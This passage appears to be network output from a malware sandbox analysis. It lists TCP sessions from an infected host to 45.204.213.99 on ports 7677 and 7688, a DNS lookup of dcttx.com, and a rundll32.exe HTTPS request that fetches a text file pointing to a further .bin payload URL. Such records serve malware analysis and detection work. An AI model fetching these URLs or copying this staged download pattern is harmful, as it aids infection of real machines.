Dec 22, 2024 09:17:14.454354048 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.458390951 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.458462000 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.458518982 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.462595940 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.462865114 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.462925911 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.466845036 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.466922998 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.466993093 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.471080065 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.471134901 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.471194029 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.475250959 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.475388050 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.475455999 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.479604959 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.479696989 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.479768991 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.483793020 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.483828068 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.483877897 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.523880005 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.523989916 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.524111032 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.525357962 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.525504112 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.527101994 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.528608084 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.528750896 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.531250954 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.531900883 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.531984091 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.535089970 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.535233021 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.535265923 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.537142992 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.560085058 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.560220957 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.560323954 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:14.561515093 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.561549902 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:14.563100100 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:15.599562883 CET	7677	49742	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:15.601196051 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:15.647017002 CET	49742	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:15.720776081 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:15.721000910 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:16.699028015 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:16.818562031 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:16.818643093 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:17.580988884 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:18.643940926 CET	49742	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:21.564062119 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:21.683701038 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:21.683725119 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:21.683777094 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:21.684210062 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:22.330218077 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:22.331712008 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:22.451119900 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:24.907358885 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:25.026906013 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:25.026926994 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:25.026949883 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:25.027038097 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:25.452379942 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:25.455373049 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:25.574986935 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:33.441436052 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:33.561007023 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:33.984132051 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:34.004086971 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:34.030920029 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:34.123611927 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:34.150475025 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:34.542332888 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:34.598495007 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:34.605638027 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:34.725425005 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:50.284372091 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:50.404068947 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:50.817452908 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:50.829711914 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:50.860855103 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:50.899173021 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:50.949382067 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:51.019783020 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:51.368311882 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:17:51.409778118 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:51.532816887 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:17:51.652383089 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:06.745296001 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:06.864784956 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:07.278340101 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:07.292623043 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:07.323754072 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:07.392442942 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:07.412295103 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:07.512006044 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:07.840954065 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:07.886172056 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:07.940499067 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:08.060084105 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:23.375668049 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:23.495172024 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:23.908977032 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:23.960105896 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:24.066423893 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:24.079684973 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:24.101036072 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:24.220601082 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:24.498269081 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:24.625720024 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:24.711860895 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:24.831489086 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:39.575300932 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:39.695411921 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:40.109041929 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:40.205979109 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:40.205979109 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:40.237035990 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:40.325529099 CET	7677	49746	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:40.326066971 CET	49746	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:40.815222025 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:40.934892893 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:42.113588095 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:42.233071089 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:42.233170033 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:48.370110989 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:48.489640951 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:48.489656925 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:48.489696980 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:48.489747047 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:48.913489103 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:48.913734913 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:49.033236980 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:58.231446028 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:58.350965023 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:58.765363932 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:18:58.877226114 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:59.024177074 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:18:59.143747091 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:00.888030052 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:01.007658005 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:01.423916101 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:01.638256073 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:01.664650917 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:01.784540892 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:14.968117952 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:14.968182087 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:15.087630033 CET	7677	49744	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:15.087680101 CET	49744	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:16.910258055 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:17.029803991 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:17.029879093 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:18.246073961 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:18.366240025 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:18.782437086 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:18.917577028 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:19.037183046 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:22.339710951 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:22.459525108 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:22.459707975 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:22.459738016 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:22.459769011 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:23.113610983 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:23.113924026 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:23.233541965 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:34.451746941 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:34.451746941 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:34.571584940 CET	7688	49933	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:34.571681023 CET	49933	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:35.655184031 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:35.655230999 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:35.774914026 CET	7688	49856	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:35.774991989 CET	49856	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:36.377522945 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:36.497329950 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:36.497445107 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:37.578763962 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:37.698345900 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:37.698415995 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:42.199419975 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:42.319152117 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:42.319478989 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:42.319533110 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:42.319586039 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:42.745697021 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:42.748019934 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:42.867795944 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:43.684731007 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:43.804482937 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:43.804570913 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:43.804600954 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:43.804635048 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:44.227494001 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:44.227792978 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:44.347460985 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:52.900549889 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:52.900593042 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:53.347374916 CET	7677	49977	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:53.347436905 CET	49977	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:54.119555950 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:54.119555950 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:54.239084005 CET	7677	49982	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:54.239649057 CET	49982	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:54.823568106 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:54.943120956 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:54.943207026 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:56.045583010 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:19:56.165199995 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:19:56.165363073 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:00.233587980 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:00.354206085 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:00.354324102 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:00.354335070 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:00.354473114 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:00.992295980 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:00.992656946 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:01.112492085 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:02.401973963 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:02.521760941 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:02.521828890 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:02.521851063 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:02.521961927 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:02.943396091 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:02.943622112 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:03.063195944 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:11.874820948 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:11.874923944 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:11.994940042 CET	7688	50019	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:11.998563051 CET	50019	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:13.094048977 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:13.094156027 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:13.213752985 CET	7688	50022	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:13.213927031 CET	50022	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:13.782275915 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:13.901997089 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:13.902100086 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:15.017168999 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:15.136888981 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:15.136977911 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:19.944438934 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:20.064306021 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.064317942 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.064368010 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.064428091 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.496221066 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.497945070 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:20.617515087 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.799761057 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:20.919507027 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.919517994 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.919636965 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:20.919646025 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:21.338316917 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:21.339446068 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:21.459058046 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:30.773649931 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:30.773746967 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:30.893271923 CET	7677	50027	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:30.893421888 CET	50027	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:31.995695114 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:32.115537882 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:32.528654099 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:32.649399996 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:32.722620964 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:32.842219114 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:32.842437983 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:33.167501926 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:33.287106991 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:38.379674911 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:38.499288082 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:38.499304056 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:38.499339104 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:38.499464035 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:39.138104916 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:39.138406038 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:39.258054018 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:48.805044889 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:48.925120115 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:49.338722944 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:49.428385973 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:49.545037985 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:49.545087099 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:49.548139095 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:49.664638996 CET	7688	50029	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:49.664717913 CET	50029	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:51.478385925 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:51.598036051 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:51.598222017 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:57.569498062 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:57.689536095 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:57.689547062 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:57.689621925 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:57.689713955 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:58.341993093 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:20:58.342263937 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:20:58.461774111 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:21:05.952452898 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:05.952538967 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:06.072712898 CET	7677	50028	45.204.213.99	192.168.2.4
Dec 22, 2024 09:21:06.073883057 CET	50028	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:07.891236067 CET	50031	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:08.010864973 CET	7688	50031	45.204.213.99	192.168.2.4
Dec 22, 2024 09:21:08.014429092 CET	50031	7688	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:09.047410011 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:09.167092085 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:21:09.586335897 CET	7677	50030	45.204.213.99	192.168.2.4
Dec 22, 2024 09:21:09.629959106 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:09.662069082 CET	50030	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:21:09.781661987 CET	7677	50030	45.204.213.99	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 09:17:03.324636936 CET	53034	53	192.168.2.4	1.1.1.1
Dec 22, 2024 09:17:03.654346943 CET	53	53034	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 09:17:03.324636936 CET	192.168.2.4	1.1.1.1	0x1169	Standard query (0)	dcttx.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 09:17:03.654346943 CET	1.1.1.1	192.168.2.4	0x1169	No error (0)	dcttx.com		38.147.186.138	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dcttx.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	38.147.186.138	443	7544	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:17:05 UTC	56	OUT	GET /19/7.txt HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:17:06 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:17:05 GMT Content-Type: text/plain Content-Length: 27 Last-Modified: Thu, 19 Dec 2024 15:28:55 GMT Connection: close ETag: "67643bb7-1b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:17:06 UTC	27	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 63 74 74 78 2e 63 6f 6d 2f 31 39 2f 37 37 2e 62 69 6e Data Ascii: https://dcttx.com/19/77.bin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
